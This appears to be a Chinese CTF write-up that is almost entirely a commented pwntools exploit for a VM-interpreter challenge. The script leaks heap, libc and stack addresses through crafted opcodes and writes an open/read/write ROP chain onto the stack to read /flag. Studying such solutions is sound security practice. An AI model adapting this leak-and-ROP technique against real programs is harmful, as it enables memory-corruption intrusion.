虚拟机太麻烦了,有一块不明白看了个exp,但是明显这个exp的命令格式不对。但大意明白了。

为防自己以后不明白,把说明写到注释里。也就不用写别的了。全在代码里了。

from pwn import *

local = 1
if local == 1:
    p = process('./pwn')
else:
    p = remote('1.1.1.1', 28546) 

libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'

p.sendafter(b'name:', b'A'*0xf0)
p.recvuntil(b'A'*0xf0)

vm_mem_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
vm_code_addr = vm_mem_addr + 0x2e20

print('Recv:',hex(vm_mem_addr), hex(vm_code_addr))
'''
0x55555575aff8:	名字--> 0x4141414141414141	0x000000000000000a
...
0x55555575b0e8:	0x00005555557582e0	<-- 需要泄露的指针 > 0x0000000000000000
0x55555575b0f8:	0x0000555555757851	<-- 0x00005555557582e0+0x2e20  >
名字后边是两个指针,通过输入0xf0长的名字带出指针1,并计算出命令区的位置
先覆盖指针再将代码写到指针后(指针指向代码开始处)
    0x55555575b0f8:	(0x55555575b0f8+8)  opcode
'''
'''
虚拟机建3个堆块:
    0x30 寄存器rdi,rsi,rdx,rsp,?,rip
    0x1000 内存块
    0x2000 ?
虚拟机的命令
p8(0x20)+ p64(0)  mov rdi,&mem 将内存块的地址传给rdi
p8(0x11)+ p64(i)  mov rdi,i   0x11,0x12,0x13分别为rdi,rsi,rdx 
p8(0x8f)+ p8(syscall_id)      执行syscall调用,有下面4个调用
.data:00000000002038E0 off_2038E0      dq offset read          ; DATA XREF: main+9A8↑o
.data:00000000002038E8                 dq offset write
.data:00000000002038F0                 dq offset puts
.data:00000000002038F8                 dq offset free
p8(0x6d)   xor rdi,rdi 
p8(0xff)   return 跳出循环退出
'''
opcode=[
    b'\x20'+p64(0),      #mov rdi, &mem
    b'\x8f\x03',         #free(rdi)
    b'\x8f\x02',         #puts(rdi)
    b'\x6d',             #xor rdi,rdi
    b'\x12'+p64(vm_code_addr + 34), #mov rsi,vm_code_addr+opcode_len
    b'\x13'+p64(32),     #mov rdx,32
    b'\x8f\x00',         #read(0,vmshellcode+len(opcode), len(next_opcode))
]
#9,2,2,1,9,9,2 = 34
#1.1,先读入内存块地址然后调用free释放,
#1.2,再调用puts输出main_arena+0x58 计算得到libc地址
#1.3,读入下一段命令码到这段的尾部,本段起始于vm_code_addr,本段长34 下段读入到vm_code_addr+34下段长度32
p.sendafter(b'say:', b'a'*0x100+ p64(vm_code_addr) + flat(opcode))

p.recvuntil(b'Now,I recevie your message,bye~\n')
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) -0x58 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

pop_rdi = next(libc_elf.search(asm('pop rdi; ret')))
pop_rsi = next(libc_elf.search(asm('pop rsi; ret')))
pop_rdx = next(libc_elf.search(asm('pop rdx; ret')))
free_hook = libc_elf.sym['__free_hook']
bss     = libc_elf.bss()
print('bss:', hex(bss))
print('free_hook:', hex(free_hook))

#puts(environ), read next
opcode = [
    b'\x11' + p64(libc_elf.sym['environ']),
    b'\x8f\x02',
    b'\x6d',
    b'\x12'+p64(vm_code_addr + 34 + 32), #
    b'\x13'+p64(0x100), #
    b'\x8f\x00',         #read(0,vmshellcode+code+0x20)
]
#9 2 1 9 9 2 = 32
#2.1,通过libc地址得到environ的栈地址,通过栈地址计算出ret的地址,将来将rop写到返回地址处
#2.2,读入下一段命令码
p.send(flat(opcode))
stack_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0xf0
print('stack:', hex(stack_addr))

#3.1,将rop(orw)读入ret位置
#3.2,执行return
#read rop->stack.return
opcode = [
    b'\x6d',                 #xor rdi,rdi
    b'\x12'+p64(stack_addr), #mov rsi,stack_addr
    b'\x13'+p64(0xa0),       #mov rdx,0xa0
    b'\x8f\x00',             #read(0,stack_addr,0xa0)
    b'\xff',                 #return
]
p.send(flat(opcode))

rop = flat(
    pop_rdi, stack_addr+0x98, pop_rsi, 0, libc_elf.sym['open'],
    pop_rdi, 3, pop_rsi, bss, pop_rdx, 0x30, libc_elf.sym['read'],
    pop_rdi, 1, pop_rsi, bss, pop_rdx, 0x30, libc_elf.sym['write'],
    b'/flag\x00\x00\x00'
)

sleep(0.1)
#4 发送rop
p.send(rop)

p.interactive()

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐